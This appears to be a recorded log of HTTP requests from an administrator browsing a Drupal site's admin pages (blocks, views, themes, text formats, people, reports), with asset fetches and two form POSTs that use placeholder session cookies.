{"method": "GET", "target": "/sites/default/files/css/css_VrhKC7-kxWGUIEsCT4AAFSWF6Z4UJH3OTQdHX4_R8pM.css?delta=1&language=en&theme=claro&include=eJxFzdEKwzAIheEXappnOkklyKwWY8q2p1-gg9z-fB6rwC03sQJJPT7C2rZqGvSOAcmHjwuyr5KmePVJnHK18zIljb4rbm4INk0pzKTAUxkRpg_97wSK0OFoT1XzE8Jf2tZ95vnKdeLVfjY9QQ8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/overview", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_beYwnrkENjJYreCPf0waaN0M5ZTXCT9GLjw5onkeDjw.css?delta=0&language=en&theme=claro&include=eJxFzdEKwzAIheEXappnOkklyKwWY8q2p1-gg9z-fB6rwC03sQJJPT7C2rZqGvSOAcmHjwuyr5KmePVJnHK18zIljb4rbm4INk0pzKTAUxkRpg_97wSK0OFoT1XzE8Jf2tZ95vnKdeLVfjY9QQ8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/overview", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_FTAfAnA5r42E9GEn9GkVGDPIg8L0IeULw-SoXT7uZoM.js?scope=footer&delta=1&language=en&theme=claro&include=eJxljeEKgCAMhF-o8pFi6pCRzDGn9PhJFBL9O777jvOUdiFB55-whMKGpzXILmoTyNskayY-6lAU3xKCUce7-HADnzEqpD9VrFK4jtnC0CmBUWFH40R5OJNd3Lg9Yg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/overview", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/structure/block", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxtjVEKxDAIRC-UbY60aCJFmlUxpuzxN5QtpdA_570ZRF7fxkYZ_0fCpmXL1YdBW47wgBaoH5ZUVIK-MaCd9iKvxrL1WXE6JZTgnQ5x49XVcESo3HAANnLqptLnLgnsvEKwSub5xWV2LvYD225Okg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_SCXoTr9vN6hZiPM6C11NFP3oxLk6RnPB0IqXzA11Yqw.css?delta=0&language=en&theme=claro&include=eJxtjkEOwyAMBD8U4E0GrMaKsZFjoqqvL1VacelxZ0erzazlSNVGB475EyLURrIVFcenD-Bfu0hgkuOcimEq2roKip9R4KIHOKmE4KqcwUIe7iq3-t2ppv0PdsiMO0JFu7moNWB64baGE80PJlNf7A0P1Uwv", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_XNws43iU5klsxMgxmee1XUhMpXK6wUYiEyUy32Zk_Z4.css?delta=1&language=en&theme=claro&include=eJxtjkEOwyAMBD8U4E0GrMaKsZFjoqqvL1VacelxZ0erzazlSNVGB475EyLURrIVFcenD-Bfu0hgkuOcimEq2roKip9R4KIHOKmE4KqcwUIe7iq3-t2ppv0PdsiMO0JFu7moNWB64baGE80PJlNf7A0P1Uwv", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/structure/views", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css_9jp0Ks7ap-7-ZCIp65X0Z6Dp_lLzTnFyXr9PrernROs.css?delta=0&language=en&theme=claro&include=eJxVj0EOwyAMBD8UwpMqBxBya2xkTJr29UVqJJLraLy7DgQqPpNsQK7Zh5DzEoQtHdaBfNRegdZJ3DBebSiafJBShRNbWxl2zGAo7JyJ0Abqtm4m_FfPHHjCcQMRgSTfkUq9nrJoAcJvWmaJx7FHediTLTumd3t09BAL8np-8wMX8lhJ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/views", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css__5y-CaSwUlbXduvNLQPZBVyDUdtabORZbS0ZhFIiGQo.css?delta=1&language=en&theme=claro&include=eJxVj0EOwyAMBD8UwpMqBxBya2xkTJr29UVqJJLraLy7DgQqPpNsQK7Zh5DzEoQtHdaBfNRegdZJ3DBebSiafJBShRNbWxl2zGAo7JyJ0Abqtm4m_FfPHHjCcQMRgSTfkUq9nrJoAcJvWmaJx7FHediTLTumd3t09BAL8np-8wMX8lhJ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/views", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/structure/views/view/content", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/sites/default/files/css/css__5y-CaSwUlbXduvNLQPZBVyDUdtabORZbS0ZhFIiGQo.css?delta=1&language=en&theme=claro&include=eJxtj1sKwzAMBC8Ux0cq69gYtYoUZDl9nL6GBkKgv8Nod7UwTGNlTeDQ_M0kdVpUvLy8g2O2voHnk4RhPNpQrMRF102liLdZsFOFk0oIrsoJFlJ3V_mpRw7ueF1AJrDWKzLd_pw6EpdsOGRRW8H0KdNZHWmsNBnyyaadyrPdOkXklWQ-fvwC-TFgqQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/admin/structure/views/view/content/preview/page_1?_wrapper_format=drupal_ajax", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": "live_preview=1&view_args=&form_build_id=form-F3rj5YfR2asqg9sweZNjFfkXTvF0TvHucDW4zRpICrQ&form_token=2RiXwzIOzgnAYh4frV_Aykfi5NgGwuk_dGZCLtCUxjg&form_id=view_preview_form&_triggering_element_name=op&_triggering_element_value=Update+preview&_drupal_ajax=1&ajax_page_state%5Btheme%5D=claro&ajax_page_state%5Btheme_token%5D=5e5HEgjfZ80aNQxNU9VRZE4_hDmt-aGjuwXr5qcCy0E&ajax_page_state%5Blibraries%5D=eJxVjlEKgzAQBS9kkiOVF13CtuuuJBurPX1LbRH_hmF4vMzltvBCKf9gGAXVUhHLkNB8F9YyjKZOm3dImmpfIPE04VM82ieplEabF1NSb1GxcoGzaQhuJhk15O5ueqS_HYzOK303Ln5iiJWIO7aLbw6ndlGOLDRVlMOq1RnCLxrOC-nEKNit-7AyPdutc_pDxDSzvgGedGns"}
|
||||
{"method": "GET", "target": "/admin/structure/menu", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/appearance", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/themes/claro/screenshot.png", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/appearance", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/themes/olivero/screenshot.png", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/appearance", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/themes/stark/screenshot.png", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/appearance", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/themes/default_admin/screenshot.png", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/appearance", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/modules/uninstall", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/system/site-information", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/search/pages", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/search/path", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/search/path/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/content/formats", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/content/formats/manage/basic_html", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/assets/vendor/ckeditor5/ckeditor5-dll/ckeditor5-dll.js?v=47.6.3-drupal.1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/config/content/formats/manage/basic_html", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/modules/ckeditor5/icons/redo.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/modules/ckeditor5/icons/undo.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/modules/ckeditor5/icons/special-characters.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/modules/ckeditor5/icons/underline.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/modules/ckeditor5/icons/code-block.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/core/modules/ckeditor5/icons/strikethrough.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/media/image-styles", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/development/performance", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people/create", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people/permissions", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/people/roles", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/reports", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/reports/dblog", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/reports/dblog", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dwatchdog%3Alocation%3Dpage%26name%3Dwatchdog%26display_id%3Dpage%26langcode%3Den&tokens%5B%5D=grWQXBmsSApIJa_jk7wHiazbuliDJvCCmFVgCnqCxiM"}
|
||||
{"method": "GET", "target": "/admin/reports/status", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
